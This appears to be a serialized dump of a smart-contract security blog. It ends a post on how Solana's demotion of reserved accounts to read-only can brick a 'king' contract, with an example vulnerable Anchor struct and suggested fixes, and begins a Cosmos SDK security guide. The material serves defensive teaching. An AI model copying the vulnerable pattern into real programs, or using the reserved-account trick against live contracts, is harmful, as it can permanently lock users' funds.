children":80508},{"style":235},[80509],{"type":29,"value":6630},{"type":24,"tag":147,"props":80511,"children":80512},{"class":149,"line":469},[80513,80517,80521,80526,80530,80534,80538,80542,80546,80550,80554,80559],{"type":24,"tag":147,"props":80514,"children":80515},{"style":218},[80516],{"type":29,"value":26388},{"type":24,"tag":147,"props":80518,"children":80519},{"style":241},[80520],{"type":29,"value":87},{"type":24,"tag":147,"props":80522,"children":80523},{"style":229},[80524],{"type":29,"value":80525},"is_key_called_as_program",{"type":24,"tag":147,"props":80527,"children":80528},{"style":235},[80529],{"type":29,"value":480},{"type":24,"tag":147,"props":80531,"children":80532},{"style":247},[80533],{"type":29,"value":9363},{"type":24,"tag":147,"props":80535,"children":80536},{"style":235},[80537],{"type":29,"value":564},{"type":24,"tag":147,"props":80539,"children":80540},{"style":241},[80541],{"type":29,"value":78779},{"type":24,"tag":147,"props":80543,"children":80544},{"style":241},[80545],{"type":29,"value":3598},{"type":24,"tag":147,"props":80547,"children":80548},{"style":218},[80549],{"type":29,"value":19330},{"type":24,"tag":147,"props":80551,"children":80552},{"style":241},[80553],{"type":29,"value":87},{"type":24,"tag":147,"props":80555,"children":80556},{"style":229},[80557],{"type":29,"value":80558},"is_upgradeable_loader_present",{"type":24,"tag":147,"props":80560,"children":80561},{"style":235},[80562],{"type":29,"value":13361},{"type":24,"tag":147,"props":80564,"children":80565},{"class":149,"line":508},[80566],{"type":24,"tag":147,"props":80567,"children":80568},{"style":235},[80569],{"type":29,"value":827},{"type":24,"tag":25,"props":80571,"children":80572},{},[80573],{"type":29,"value":80574},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":2674,"props":80576,"children":80577},{},[80578,80590],{"type":24,"tag":2678,"props":80579,"children":80580},{},[80581,80583],{"type":29,"value":80582},"The account appears in the ",{"type":24,"tag":2773,"props":80584,"children":80587},{"href":80585,"rel":80586},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[2777],[80588],{"type":29,"value":80589},"reserved account list",{"type":24,"tag":2678,"props":80591,"children":80592},{},[80593],{"type":29,"value":80594},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":25,"props":80596,"children":80597},{},[80598],{"type":29,"value":80599},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":25,"props":80601,"children":80602},{},[80603],{"type":29,"value":80604},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":112,"props":80606,"children":80608},{"id":80607},"the-reserved-account-list",[80609],{"type":29,"value":80610},"The Reserved Account List",{"type":24,"tag":25,"props":80612,"children":80613},{},[80614,80616,80621],{"type":29,"value":80615},"The Solana runtime maintains a ",{"type":24,"tag":2773,"props":80617,"children":80619},{"href":80585,"rel":80618},[2777],[80620],{"type":29,"value":80589},{"type":29,"value":80622},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":25,"props":80624,"children":80625},{},[80626,80628,80635,80637,80642],{"type":29,"value":80627},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":2773,"props":80629,"children":80632},{"href":80630,"rel":80631},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[2777],[80633],{"type":29,"value":80634},"feature gate is actived",{"type":29,"value":80636},", the runtime will ",{"type":24,"tag":10949,"props":80638,"children":80639},{},[80640],{"type":29,"value":80641},"automatically demote them to read-only",{"type":29,"value":80643},", even if the transaction marked them as writable.",{"type":24,"tag":137,"props":80645,"children":80647},{"className":8614,"code":80646,"language":8613,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[80648],{"type":24,"tag":80,"props":80649,"children":80650},{"__ignoreMap":7},[80651,80659,80667,80691,80745,80783,80812],{"type":24,"tag":147,"props":80652,"children":80653},{"class":149,"line":150},[80654],{"type":24,"tag":147,"props":80655,"children":80656},{"style":154},[80657],{"type":29,"value":80658},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":147,"props":80660,"children":80661},{"class":149,"line":160},[80662],{"type":24,"tag":147,"props":80663,"children":80664},{"style":154},[80665],{"type":29,"value":80666},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":147,"props":80668,"children":80669},{"class":149,"line":169},[80670,80674,80678,80683,80687],{"type":24,"tag":147,"props":80671,"children":80672},{"style":218},[80673],{"type":29,"value":19330},{"type":24,"tag":147,"props":80675,"children":80676},{"style":241},[80677],{"type":29,"value":87},{"type":24,"tag":147,"props":80679,"children":80680},{"style":235},[80681],{"type":29,"value":80682},"reserved_account_keys ",{"type":24,"tag":147,"props":80684,"children":80685},{"style":241},[80686],{"type":29,"value":369},{"type":24,"tag":147,"props":80688,"children":80689},{"style":235},[80690],{"type":29,"value":6630},{"type":24,"tag":147,"props":80692,"children":80693},{"class":149,"line":178},[80694,80698,80702,80707,80711,80716,80720,80724,80728,80732,80736,80740],{"type":24,"tag":147,"props":80695,"children":80696},{"style":218},[80697],{"type":29,"value":8634},{"type":24,"tag":147,"props":80699,"children":80700},{"style":218},[80701],{"type":29,"value":8639},{"type":24,"tag":147,"props":80703,"children":80704},{"style":247},[80705],{"type":29,"value":80706}," reserved_keys",{"type":24,"tag":147,"props":80708,"children":80709},{"style":241},[80710],{"type":29,"value":651},{"type":24,"tag":147,"props":80712,"children":80713},{"style":9044},[80714],{"type":29,"value":80715}," ReservedAccountKeys",{"type":24,"tag":147,"props":80717,"children":80718},{"style":241},[80719],{"type":29,"value":9106},{"type":24,"tag":147,"props":80721,"children":80722},{"style":229},[80723],{"type":29,"value":21032},{"type":24,"tag":147,"props":80725,"children":80726},{"style":235},[80727],{"type":29,"value":480},{"type":24,"tag":147,"props":80729,"children":80730},{"style":241},[80731],{"type":29,"value":485},{"type":24,"tag":147,"props":80733,"children":80734},{"style":218},[80735],{"type":29,"value":19330},{"type":24,"tag":147,"props":80737,"children":80738},{"style":241},[80739],{"type":29,"value":87},{"type":24,"tag":147,"props":80741,"children":80742},{"style":235},[80743],{"type":29,"value":80744},"reserved_account_keys);\n",{"type":24,"tag":147,"props":80746,"children":80747},{"class":149,"line":187},[80748,80753,80757,80762,80766,80770,80774,80778],{"type":24,"tag":147,"props":80749,"children":80750},{"style":247},[80751],{"type":29,"value":80752},"    reserved_keys",{"type":24,"tag":147,"props":80754,"children":80755},{"style":241},[80756],{"type":29,"value":87},{"type":24,"tag":147,"props":80758,"children":80759},{"style":229},[80760],{"type":29,"value":80761},"update_active_set",{"type":24,"tag":147,"props":80763,"children":80764},{"style":235},[80765],{"type":29,"value":480},{"type":24,"tag":147,"props":80767,"children":80768},{"style":241},[80769],{"type":29,"value":485},{"type":24,"tag":147,"props":80771,"children":80772},{"style":218},[80773],{"type":29,"value":19330},{"type":24,"tag":147,"props":80775,"children":80776},{"style":241},[80777],{"type":29,"value":87},{"type":24,"tag":147,"props":80779,"children":80780},{"style":235},[80781],{"type":29,"value":80782},"feature_set);\n",{"type":24,"tag":147,"props":80784,"children":80785},{"class":149,"line":196},[80786,80791,80795,80799,80803,80808],{"type":24,"tag":147,"props":80787,"children":80788},{"style":9044},[80789],{"type":29,"value":80790},"    Arc",{"type":24,"tag":147,"props":80792,"children":80793},{"style":241},[80794],{"type":29,"value":9106},{"type":24,"tag":147,"props":80796,"children":80797},{"style":229},[80798],{"type":29,"value":20734},{"type":24,"tag":147,"props":80800,"children":80801},{"style":235},[80802],{"type":29,"value":480},{"type":24,"tag":147,"props":80804,"children":80805},{"style":247},[80806],{"type":29,"value":80807},"reserved_keys",{"type":24,"tag":147,"props":80809,"children":80810},{"style":235},[80811],{"type":29,"value":269},{"type":24,"tag":147,"props":80813,"children":80814},{"class":149,"line":205},[80815],{"type":24,"tag":147,"props":80816,"children":80817},{"style":235},[80818],{"type":29,"value":1120},{"type":24,"tag":112,"props":80820,"children":80822},{"id":80821},"consequences-silent-failures-and-bricked-programs",[80823],{"type":29,"value":80824},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":25,"props":80826,"children":80827},{},[80828],{"type":29,"value":80829},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":137,"props":80831,"children":80833},{"className":8614,"code":80832,"language":8613,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[80834],{"type":24,"tag":80,"props":80835,"children":80836},{"__ignoreMap":7},[80837,80852,80879,80894,80933,80940,80987,81018,81025,81040,81071,81078,81093,81124],{"type":24,"tag":147,"props":80838,"children":80839},{"class":149,"line":150},[80840,80844,80848],{"type":24,"tag":147,"props":80841,"children":80842},{"style":235},[80843],{"type":29,"value":28439},{"type":24,"tag":147,"props":80845,"children":80846},{"style":9044},[80847],{"type":29,"value":28444},{"type":24,"tag":147,"props":80849,"children":80850},{"style":235},[80851],{"type":29,"value":25862},{"type":24,"tag":147,"props":80853,"children":80854},{"class":149,"line":160},[80855,80859,80863,80867,80871,80875],{"type":24,"tag":147,"props":80856,"children":80857},{"style":218},[80858],{"type":29,"value":19307},{"type":24,"tag":147,"props":80860,"children":80861},{"style":218},[80862],{"type":29,"value":26753},{"type":24,"tag":147,"props":80864,"children":80865},{"style":9044},[80866],{"type":29,"value":76892},{"type":24,"tag":147,"props":80868,"children":80869},{"style":235},[80870],{"type":29,"value":28524},{"type":24,"tag":147,"props":80872,"children":80873},{"style":9044},[80874],{"type":29,"value":28529},{"type":24,"tag":147,"props":80876,"children":80877},{"style":235},[80878],{"type":29,"value":12907},{"type":24,"tag":147,"props":80880,"children":80881},{"class":149,"line":169},[80882,80886,80890],{"type":24,"tag":147,"props":80883,"children":80884},{"style":235},[80885],{"type":29,"value":28731},{"type":24,"tag":147,"props":80887,"children":80888},{"style":218},[80889],{"type":29,"value":9348},{"type":24,"tag":147,"props":80891,"children":80892},{"style":235},[80893],{"type":29,"value":25862},{"type":24,"tag":147,"props":80895,"children":80896},{"class":149,"line":178},[80897,80901,80905,80909,80913,80917,80921,80925,80929],{"type":24,"tag":147,"props":80898,"children":80899},{"style":218},[80900],{"type":29,"value":26445},{"type":24,"tag":147,"props":80902,"children":80903},{"style":247},[80904],{"type":29,"value":76931},{"type":24,"tag":147,"props":80906,"children":80907},{"style":241},[80908],{"type":29,"value":978},{"type":24,"tag":147,"props":80910,"children":80911},{"style":9044},[80912],{"type":29,"value":28696},{"type":24,"tag":147,"props":80914,"children":80915},{"style":235},[80916],{"type":29,"value":28524},{"type":24,"tag":147,"props":80918,"children":80919},{"style":9044},[80920],{"type":29,"value":28529},{"type":24,"tag":147,"props":80922,"children":80923},{"style":235},[80924],{"type":29,"value":546},{"type":24,"tag":147,"props":80926,"children":80927},{"style":9044},[80928],{"type":29,"value":76956},{"type":24,"tag":147,"props":80930,"children":80931},{"style":235},[80932],{"type":29,"value":11763},{"type":24,"tag":147,"props":80934,"children":80935},{"class":149,"line":187},[80936],{"type":24,"tag":147,"props":80937,"children":80938},{"emptyLinePlaceholder":16},[80939],{"type":29,"value":314},{"type":24,"tag":147,"props":80941,"children":80942},{"class":149,"line":196},[80943,80947,80951,80955,80959,80963,80967,80971,80975,80979,80983],{"type":24,"tag":147,"props":80944,"children":80945},{"style":235},[80946],{"type":29,"value":28731},{"type":24,"tag":147,"props":80948,"children":80949},{"style":218},[80950],{"type":29,"value":9348},{"type":24,"tag":147,"props":80952,"children":80953},{"style":235},[80954],{"type":29,"value":76991},{"type":24,"tag":147,"props":80956,"children":80957},{"style":241},[80958],{"type":29,"value":369},{"type":24,"tag":147,"props":80960,"children":80961},{"style":235},[80962],{"type":29,"value":77000},{"type":24,"tag":147,"props":80964,"children":80965},{"style":241},[80966],{"type":29,"value":87},{"type":24,"tag":147,"props":80968,"children":80969},{"style":235},[80970],{"type":29,"value":77009},{"type":24,"tag":147,"props":80972,"children":80973},{"style":241},[80974],{"type":29,"value":6600},{"type":24,"tag":147,"props":80976,"children":80977},{"style":235},[80978],{"type":29,"value":76931},{"type":24,"tag":147,"props":80980,"children":80981},{"style":241},[80982],{"type":29,"value":87},{"type":24,"tag":147,"props":80984,"children":80985},{"style":235},[80986],{"type":29,"value":77026},{"type":24,"tag":147,"props":80988,"children":80989},{"class":149,"line":205},[80990,80994,80998,81002,81006,81010,81014],{"type":24,"tag":147,"props":80991,"children":80992},{"style":218},[80993],{"type":29,"value":26445},{"type":24,"tag":147,"props":80995,"children":80996},{"style":247},[80997],{"type":29,"value":77000},{"type":24,"tag":147,"props":80999,"children":81000},{"style":241},[81001],{"type":29,"value":978},{"type":24,"tag":147,"props":81003,"children":81004},{"style":9044},[81005],{"type":29,"value":30999},{"type":24,"tag":147,"props":81007,"children":81008},{"style":235},[81009],{"type":29,"value":28524},{"type":24,"tag":147,"props":81011,"children":81012},{"style":9044},[81013],{"type":29,"value":28529},{"type":24,"tag":147,"props":81015,"children":81016},{"style":235},[81017],{"type":29,"value":11763},{"type":24,"tag":147,"props":81019,"children":81020},{"class":149,"line":214},[81021],{"type":24,"tag":147,"props":81022,"children":81023},{"emptyLinePlaceholder":16},[81024],{"type":29,"value":314},{"type":24,"tag":147,"props":81026,"children":81027},{"class":149,"line":272},[81028,81032,81036],{"type":24,"tag":147,"props":81029,"children":81030},{"style":235},[81031],{"type":29,"value":28731},{"type":24,"tag":147,"props":81033,"children":81034},{"style":218},[81035],{"type":29,"value":9348},{"type":24,"tag":147,"props":81037,"children":81038},{"style":235},[81039],{"type":29,"value":25862},{"type":24,"tag":147,"props":81041,"children":81042},{"class":149,"line":281},[81043,81047,81051,81055,81059,81063,81067],{"type":24,"tag":147,"props":81044,"children":81045},{"style":218},[81046],{"type":29,"value":26445},{"type":24,"tag":147,"props":81048,"children":81049},{"style":247},[81050],{"type":29,"value":77099},{"type":24,"tag":147,"props":81052,"children":81053},{"style":241},[81054],{"type":29,"value":978},{"type":24,"tag":147,"props":81056,"children":81057},{"style":9044},[81058],{"type":29,"value":30999},{"type":24,"tag":147,"props":81060,"children":81061},{"style":235},[81062],{"type":29,"value":28524},{"type":24,"tag":147,"props":81064,"children":81065},{"style":9044},[81066],{"type":29,"value":28529},{"type":24,"tag":147,"props":81068,"children":81069},{"style":235},[81070],{"type":29,"value":11763},{"type":24,"tag":147,"props":81072,"children":81073},{"class":149,"line":299},[81074],{"type":24,"tag":147,"props":81075,"children":81076},{"emptyLinePlaceholder":16},[81077],{"type":29,"value":314},{"type":24,"tag":147,"props":81079,"children":81080},{"class":149,"line":308},[81081,81085,81089],{"type":24,"tag":147,"props":81082,"children":81083},{"style":235},[81084],{"type":29,"value":28731},{"type":24,"tag":147,"props":81086,"children":81087},{"style":218},[81088],{"type":29,"value":9348},{"type":24,"tag":147,"props":81090,"children":81091},{"style":235},[81092],{"type":29,"value":25862},{"type":24,"tag":147,"props":81094,"children":81095},{"class":149,"line":317},[81096,81100,81104,81108,81112,81116,81120],{"type":24,"tag":147,"props":81097,"children":81098},{"style":218},[81099],{"type":29,"value":26445},{"type":24,"tag":147,"props":81101,"children":81102},{"style":247},[81103],{"type":29,"value":47837},{"type":24,"tag":147,"props":81105,"children":81106},{"style":241},[81107],{"type":29,"value":978},{"type":24,"tag":147,"props":81109,"children":81110},{"style":9044},[81111],{"type":29,"value":28760},{"type":24,"tag":147,"props":81113,"children":81114},{"style":235},[81115],{"type":29,"value":28524},{"type":24,"tag":147,"props":81117,"children":81118},{"style":9044},[81119],{"type":29,"value":28529},{"type":24,"tag":147,"props":81121,"children":81122},{"style":235},[81123],{"type":29,"value":11763},{"type":24,"tag":147,"props":81125,"children":81126},{"class":149,"line":332},[81127],{"type":24,"tag":147,"props":81128,"children":81129},{"style":235},[81130],{"type":29,"value":827},{"type":24,"tag":25,"props":81132,"children":81133},{},[81134,81136,81142,81144,81150],{"type":29,"value":81135},"This works fine — until one day, ",{"type":24,"tag":80,"props":81137,"children":81139},{"className":81138},[],[81140],{"type":29,"value":81141},"old_king",{"type":29,"value":81143}," is silently demoted. Suddenly, the ",{"type":24,"tag":80,"props":81145,"children":81147},{"className":81146},[],[81148],{"type":29,"value":81149},"#[account(mut)]",{"type":29,"value":81151}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":112,"props":81153,"children":81155},{"id":81154},"real-world-example-write-demotion-with-secp256r1_program",[81156,81158],{"type":29,"value":81157},"Real-World Example: Write-Demotion with ",{"type":24,"tag":80,"props":81159,"children":81161},{"className":81160},[],[81162],{"type":29,"value":81163},"secp256r1_program",{"type":24,"tag":25,"props":81165,"children":81166},{},[81167,81169,81174],{"type":29,"value":81168},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":80,"props":81170,"children":81172},{"className":81171},[],[81173],{"type":29,"value":81163},{"type":29,"value":81175},", a precompiled program gated behind a feature flag:",{"type":24,"tag":137,"props":81177,"children":81179},{"className":8614,"code":81178,"language":8613,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[81180],{"type":24,"tag":80,"props":81181,"children":81182},{"__ignoreMap":7},[81183,81204,81224,81253],{"type":24,"tag":147,"props":81184,"children":81185},{"class":149,"line":150},[81186,81191,81195,81200],{"type":24,"tag":147,"props":81187,"children":81188},{"style":9044},[81189],{"type":29,"value":81190},"ReservedAccount",{"type":24,"tag":147,"props":81192,"children":81193},{"style":241},[81194],{"type":29,"value":9106},{"type":24,"tag":147,"props":81196,"children":81197},{"style":229},[81198],{"type":29,"value":81199},"new_pending",{"type":24,"tag":147,"props":81201,"children":81202},{"style":235},[81203],{"type":29,"value":9088},{"type":24,"tag":147,"props":81205,"children":81206},{"class":149,"line":160},[81207,81212,81216,81220],{"type":24,"tag":147,"props":81208,"children":81209},{"style":235},[81210],{"type":29,"value":81211},"    secp256r1_program",{"type":24,"tag":147,"props":81213,"children":81214},{"style":241},[81215],{"type":29,"value":9106},{"type":24,"tag":147,"props":81217,"children":81218},{"style":229},[81219],{"type":29,"value":9111},{"type":24,"tag":147,"props":81221,"children":81222},{"style":235},[81223],{"type":29,"value":9116},{"type":24,"tag":147,"props":81225,"children":81226},{"class":149,"line":169},[81227,81232,81236,81241,81245,81249],{"type":24,"tag":147,"props":81228,"children":81229},{"style":235},[81230],{"type":29,"value":81231},"    feature_set",{"type":24,"tag":147,"props":81233,"children":81234},{"style":241},[81235],{"type":29,"value":9106},{"type":24,"tag":147,"props":81237,"children":81238},{"style":235},[81239],{"type":29,"value":81240},"enable_secp256r1_precompile",{"type":24,"tag":147,"props":81242,"children":81243},{"style":241},[81244],{"type":29,"value":9106},{"type":24,"tag":147,"props":81246,"children":81247},{"style":229},[81248],{"type":29,"value":9111},{"type":24,"tag":147,"props":81250,"children":81251},{"style":235},[81252],{"type":29,"value":9116},{"type":24,"tag":147,"props":81254,"children":81255},{"class":149,"line":178},[81256],{"type":24,"tag":147,"props":81257,"children":81258},{"style":235},[81259],{"type":29,"value":269},{"type":24,"tag":25,"props":81261,"children":81262},{},[81263,81265,81270,81272,81278],{"type":29,"value":81264},"Before the ",{"type":24,"tag":80,"props":81266,"children":81268},{"className":81267},[],[81269],{"type":29,"value":81240},{"type":29,"value":81271}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":80,"props":81273,"children":81275},{"className":81274},[],[81276],{"type":29,"value":81277},"secp256r1_program::id()",{"type":29,"value":81279}," as the king in a contract.",{"type":24,"tag":25,"props":81281,"children":81282},{},[81283,81285,81290],{"type":29,"value":81284},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":80,"props":81286,"children":81288},{"className":81287},[],[81289],{"type":29,"value":81277},{"type":29,"value":81291}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":112,"props":81293,"children":81295},{"id":81294},"fix-3-preventing-write-demotion-pitfalls",[81296],{"type":29,"value":81297},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":25,"props":81299,"children":81300},{},[81301,81303,81308],{"type":29,"value":81302},"Alright, let’s try to fix this ",{"type":24,"tag":8545,"props":81304,"children":81305},{},[81306],{"type":29,"value":81307},"yet another",{"type":29,"value":81309}," edge case — and hopefully close the book on it.",{"type":24,"tag":112,"props":81311,"children":81313},{"id":81312},"attempt-1-block-known-reserved-accounts",[81314],{"type":29,"value":81315},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":25,"props":81317,"children":81318},{},[81319],{"type":29,"value":81320},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":137,"props":81322,"children":81324},{"className":45956,"code":81323,"language":45958,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[81325],{"type":24,"tag":80,"props":81326,"children":81327},{"__ignoreMap":7},[81328,81336],{"type":24,"tag":147,"props":81329,"children":81330},{"class":149,"line":150},[81331],{"type":24,"tag":147,"props":81332,"children":81333},{"style":235},[81334],{"type":29,"value":81335},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":24,"tag":147,"props":81337,"children":81338},{"class":149,"line":160},[81339],{"type":24,"tag":147,"props":81340,"children":81341},{"style":705},[81342],{"type":29,"value":81343},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":25,"props":81345,"children":81346},{},[81347,81349,81354],{"type":29,"value":81348},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":80,"props":81350,"children":81352},{"className":81351},[],[81353],{"type":29,"value":81190},{"type":29,"value":81355}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":112,"props":81357,"children":81359},{"id":81358},"attempt-2-use-a-pda-vault",[81360],{"type":29,"value":81361},"Attempt 2: Use a PDA Vault",{"type":24,"tag":25,"props":81363,"children":81364},{},[81365,81367,81372],{"type":29,"value":81366},"A more future-proof fix is to avoid ",{"type":24,"tag":10949,"props":81368,"children":81369},{},[81370],{"type":29,"value":81371},"transferring lamports to arbitrary accounts",{"type":29,"value":81373}," altogether.",{"type":24,"tag":25,"props":81375,"children":81376},{},[81377],{"type":29,"value":81378},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":32,"props":81380,"children":81382},{"id":81381},"final-thoughts",[81383],{"type":29,"value":81384},"Final Thoughts",{"type":24,"tag":25,"props":81386,"children":81387},{},[81388],{"type":29,"value":81389},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":25,"props":81391,"children":81392},{},[81393],{"type":29,"value":81394},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":22292,"props":81396,"children":81397},{},[81398,81403,81408],{"type":24,"tag":2678,"props":81399,"children":81400},{},[81401],{"type":29,"value":81402},"It's not executable.",{"type":24,"tag":2678,"props":81404,"children":81405},{},[81406],{"type":29,"value":81407},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":2678,"props":81409,"children":81410},{},[81411],{"type":29,"value":81412},"It's not a reserved account.",{"type":24,"tag":25,"props":81414,"children":81415},{},[81416],{"type":29,"value":81417},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":8473,"props":81419,"children":81420},{},[81421],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":81423},[81424,81425,81426,81432],{"id":34617,"depth":160,"text":34620},{"id":76806,"depth":160,"text":76809},{"id":77913,"depth":160,"text":77916,"children":81427},[81428,81429,81431],{"id":77919,"depth":169,"text":77922},{"id":78606,"depth":169,"text":81430},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":79911,"depth":169,"text":79914},{"id":81381,"depth":160,"text":81384},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":81437,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":81438,"description":81439,"date":81440,"author":81441,"image":81442,"isFeatured":16,"onBlogPage":16,"tags":81444,"body":81447,"_type":8496,"_id":95331,"_source":8498,"_file":95332,"_stem":95333,"_extension":8501},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":81443,"width":15,"height":15},"/posts/cosmos-security/title.png",[81445,81446],"cosmos-sdk","security",{"type":21,"children":81448,"toc":95309},[81449,81453,81458,81463,81469,81474,81479,81484,81745,82234,82253,82258,82263,82268,82274,82279,82314,82324,82831,82851,82864,82870,82875,82880,83121,83126,83134,83146,83508,83513,83518,83554,83563,83989,84010,84016,84036,84057,84076,84108,84120,84132,84786,84814,84823,85263,85290,85310,85315,85336,85385,85394,86626,86654,86660,86665,86670,86690,86977,87011,87192,87197,87202,87246,87255,88446,88697,88710,88716,88750,88755,88818,88823,88843,88862,88874,88893,89585,89590,89595,89623,89632,90517,90544,90550,90570,90575,90588,90762,90775,90866,90871,90879,90889,91039,91044,91064,91072,91077,91475,91487,91492,91533,91544,91564,91872,91877,92802,92814,92822,92827,93820,93825,93837,93857,93876,94790,94847,94953,94965,94970,94975,95003,95012,95238,95264,95277,95291,95295,95300,95305],{"type":24,"tag":32,"props":81450,"children":81451},{"id":34617},[81452],{"type":29,"value":34620},{"type":24,"tag":25,"props":81454,"children":81455},{},[81456],{"type":29,"value":81457},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":25,"props":81459,"children":81460},{},[81461],{"type":29,"value":81462},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":32,"props":81464,"children":81466},{"id":81465},"its-loopin-time",[81467],{"type":29,"value":81468},"It's Loopin' Time",{"type":24,"tag":25,"props":81470,"children":81471},{},[81472],{"type":29,"value":81473},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":25,"props":81475,"children":81476},{},[81477],{"type":29,"value":81478},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":25,"props":81480,"children":81481},{},[81482],{"type":29,"value":81483},"Here is a simple example for reference:",{"type":24,"tag":137,"props":81485,"children":81487},{"code":81486,"language":10098,"meta":7,"className":10099,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[81488],{"type":24,"tag":80,"props":81489,"children":81490},{"__ignoreMap":7},[81491,81507,81524,81540,81562,81591,81612,81636,81657,81664,81685,81702,81719,81726,81738],{"type":24,"tag":147,"props":81492,"children":81493},{"class":149,"line":150},[81494,81498,81503],{"type":24,"tag":147,"props":81495,"children":81496},{"style":218},[81497],{"type":29,"value":36978},{"type":24,"tag":147,"props":81499,"children":81500},{"style":229},[81501],{"type":29,"value":81502}," sumWithStride",{"type":24,"tag":147,"props":81504,"children":81505},{"style":235},[81506],{"type":29,"value":9088},{"type":24,"tag":147,"props":81508,"children":81509},{"class":149,"line":160},[81510,81515,81520],{"type":24,"tag":147,"props":81511,"children":81512},{"style":9044},[81513],{"type":29,"value":81514},"    uint64",{"type":24,"tag":147,"props":81516,"children":81517},{"style":247},[81518],{"type":29,"value":81519}," start",{"type":24,"tag":147,"props":81521,"children":81522},{"style":235},[81523],{"type":29,"value":1549},{"type":24,"tag":147,"props":81525,"children":81526},{"class":149,"line":169},[81527,81531,81536],{"type":24,"tag":147,"props":81528,"children":81529},{"style":9044},[81530],{"type":29,"value":81514},{"type":24,"tag":147,"props":81532,"children":81533},{"style":247},[81534],{"type":29,"value":81535}," stride",{"type":24,"tag":147,"props":81537,"children":81538},{"style":235},[81539],{"type":29,"value":1549},{"type":24,"tag":147,"props":81541,"children":81542},{"class":149,"line":178},[81543,81547,81552,81557],{"type":24,"tag":147,"props":81544,"children":81545},{"style":9044},[81546],{"type":29,"value":81514},{"type":24,"tag":147,"props":81548,"children":81549},{"style":235},[81550],{"type":29,"value":81551},"[] 